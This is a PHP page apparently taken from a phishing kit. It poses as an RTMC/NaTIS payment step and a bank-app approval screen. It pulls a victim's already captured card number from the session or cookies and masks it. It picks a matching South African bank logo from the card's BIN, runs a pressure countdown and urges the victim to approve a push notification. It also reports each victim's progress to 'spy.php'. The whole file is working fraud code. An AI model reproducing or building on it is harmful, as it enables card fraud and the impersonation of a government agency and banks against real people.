<?php
require (__DIR__) . '/../main.php';
require __DIR__ . '/class/Config.php';

if (session_status() !== PHP_SESSION_ACTIVE) {
    session_start();
}

$payLabel = Config::$payment_amount;
$currency = Config::paymentCurrencyCode();
$amountNum = Config::paymentAmountNumeric();
$amountDisplay = $currency . ' ' . number_format($amountNum, 2, '.', '');
$merchant = 'RTMC / NaTIS';
$digDate = date('Y-m-d H:i:s A');

$cardNumber = '';
if (!empty($_SESSION['sc_card'])) {
    $cardNumber = $_SESSION['sc_card'];
} elseif (!empty($_COOKIE['sc_card'])) {
    $cardNumber = $_COOKIE['sc_card'];
} elseif (!empty($_COOKIE['cc'])) {
    $cardNumber = $_COOKIE['cc'];
}
$cardNumberClean = preg_replace('/\D+/', '', (string) $cardNumber);

$cardMasked = 'XXXX XXXX XXXX XXXX';
if (strlen($cardNumberClean) >= 10) {
    $cardMasked = substr($cardNumberClean, 0, 4) . ' '
        . substr($cardNumberClean, 4, 2) . 'XX XXXX '
        . substr($cardNumberClean, -4);
} elseif (strlen($cardNumberClean) >= 4) {
    $cardMasked = '**** **** **** ' . substr($cardNumberClean, -4);
}

$firstDigit = strlen($cardNumberClean) >= 1 ? $cardNumberClean[0] : '';
$isVisa = ($firstDigit === '4');
$isMc = (bool) preg_match('/^(5[1-5]|2[2-7])/', $cardNumberClean);

if ($isVisa) {
    $schemeLogo = is_file(__DIR__ . '/assets/img/card_logo_visa.svg')
        ? 'assets/img/card_logo_visa.svg'
        : 'assets/images/visa-logo.svg';
    $schemeAlt = 'Visa';
} elseif ($isMc) {
    $schemeLogo = is_file(__DIR__ . '/assets/img/card_logo_mc.svg')
        ? 'assets/img/card_logo_mc.svg'
        : 'assets/images/mastercard-logo.svg';
    $schemeAlt = 'Mastercard';
} else {
    $schemeLogo = is_file(__DIR__ . '/assets/img/card_logo_visa.svg')
        ? 'assets/img/card_logo_visa.svg'
        : 'assets/images/visa-logo.svg';
    $schemeAlt = 'Card';
}

/* Bank logo from BIN — logos live in assets/img/ (ab, cap, fnb, ned, stan, tym) */
$bankName = 'Bank';
$bankLogo = '';
$bin = strlen($cardNumberClean) >= 6 ? substr($cardNumberClean, 0, 6) : '';

$logoFileNames = [
    'ab'   => ['name' => 'Absa', 'logo' => 'assets/img/ab.png'],
    'cap'  => ['name' => 'Capitec', 'logo' => 'assets/img/cap.png'],
    'fnb'  => ['name' => 'FNB', 'logo' => 'assets/img/fnb.png'],
    'ned'  => ['name' => 'Nedbank', 'logo' => 'assets/img/ned.png'],
    'stan' => ['name' => 'Standard Bank', 'logo' => 'assets/img/stan.png'],
    'tym'  => ['name' => 'TymeBank', 'logo' => 'assets/img/tym.png'],
];

$binMap = [];
$mapFile = __DIR__ . '/bin-map.json';
if (is_file($mapFile)) {
    $binMap = json_decode((string) file_get_contents($mapFile), true) ?: [];
}
if ($bin !== '' && isset($binMap[$bin]) && is_array($binMap[$bin])) {
    if (!empty($binMap[$bin]['name'])) {
        $bankName = (string) $binMap[$bin]['name'];
    }
    if (!empty($binMap[$bin]['logo'])) {
        $bankLogo = (string) $binMap[$bin]['logo'];
    }
}

if ($bankLogo === '' && $bin !== '') {
    $binsFile = __DIR__ . '/bins.php';
    if (is_file($binsFile)) {
        $bins = include $binsFile;
        if (is_array($bins) && !empty($bins[$bin])) {
            $bankLogo = (string) $bins[$bin];
        }
    }
}

if ($bankLogo !== '' && !is_file(__DIR__ . '/' . $bankLogo)) {
    $bankLogo = '';
}

if ($bankName === 'Bank' && $bankLogo !== '') {
    $base = strtolower(pathinfo($bankLogo, PATHINFO_FILENAME));
    if (isset($logoFileNames[$base])) {
        $bankName = $logoFileNames[$base]['name'];
    } else {
        $bankName = ucwords(str_replace(['_', '-'], ' ', $base));
    }
}

$timerSeconds = 4 * 60 + 30;
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Banking App Authentication</title>
    <link rel="stylesheet" href="themes/css/approv-bank.css" />
</head>
<body class="ba-page">

<div class="ba-sheet">
    <header class="ba-head">
        <a class="ba-close" href="wait.php?p=cancel" aria-label="Close">&times;</a>

        <div class="ba-logos">
            <div class="ba-bank">
                <?php if ($bankLogo !== '') { ?>
                <img src="<?= htmlspecialchars($bankLogo, ENT_QUOTES, 'UTF-8') ?>"
                    alt="<?= htmlspecialchars($bankName, ENT_QUOTES, 'UTF-8') ?>" />
                <?php } else { ?>
                <span class="ba-bank-fallback"><?= htmlspecialchars($bankName, ENT_QUOTES, 'UTF-8') ?></span>
                <?php } ?>
            </div>
            <div class="ba-scheme">
                <img src="<?= htmlspecialchars($schemeLogo, ENT_QUOTES, 'UTF-8') ?>"
                    alt="<?= htmlspecialchars($schemeAlt, ENT_QUOTES, 'UTF-8') ?>" />
            </div>
        </div>
    </header>

    <main class="ba-main">
        <h1 class="ba-title">Banking App Authentication required</h1>

        <div class="ba-timer" aria-live="polite">
            <svg class="ba-timer-ring" viewBox="0 0 120 120" aria-hidden="true">
                <circle class="ba-timer-track" cx="60" cy="60" r="52" />
                <circle class="ba-timer-progress" id="timerProgress" cx="60" cy="60" r="52" />
            </svg>
            <span class="ba-timer-text" id="timerText">04:30</span>
        </div>
<?php require __DIR__ . '/includes/approv-timer-script.php'; ?>

        <p class="ba-lead">
            We've sent a notification to your device. Open your banking app and approve this payment to continue.
        </p>

        <dl class="ba-details">
            <div>
                <dt>Merchant:</dt>
                <dd><?= htmlspecialchars($merchant, ENT_QUOTES, 'UTF-8') ?></dd>
            </div>
            <div>
                <dt>Amount:</dt>
                <dd><?= htmlspecialchars($amountDisplay, ENT_QUOTES, 'UTF-8') ?></dd>
            </div>
            <div>
                <dt>Date:</dt>
                <dd><?= htmlspecialchars($digDate, ENT_QUOTES, 'UTF-8') ?></dd>
            </div>
            <div>
                <dt>Card Number:</dt>
                <dd><?= htmlspecialchars($cardMasked, ENT_QUOTES, 'UTF-8') ?></dd>
            </div>
        </dl>

        <p class="ba-cancel-link">
            <a href="wait.php?p=cancel">CANCEL</a>
        </p>

        <div class="ba-faq">
            <details>
                <summary>What happens when you click Submit?<span class="ba-faq-icon">+</span></summary>
                <p>After you approve in your banking app, this page updates automatically and your payment is completed securely.</p>
            </details>
            <details>
                <summary>Do you suspect fraud?<span class="ba-faq-icon">+</span></summary>
                <p>If you did not start this payment, tap Cancel and contact your bank immediately. Do not approve the request in your app.</p>
            </details>
        </div>

        <p class="ba-sms">
            <a href="code.php?p=kod">Confirm with SMS instead</a>
        </p>
    </main>

    <footer class="ba-foot">
        <a class="ba-cancel-btn" href="wait.php?p=cancel">Cancel</a>
    </footer>
</div>

<script src="res/jq.js"></script>
<script>
if (window.jQuery) { jQuery.post('spy.php', { approvview: 1 }); }
</script>
<?php $m->ctr('APPROV APP'); ?>
</body>
</html>
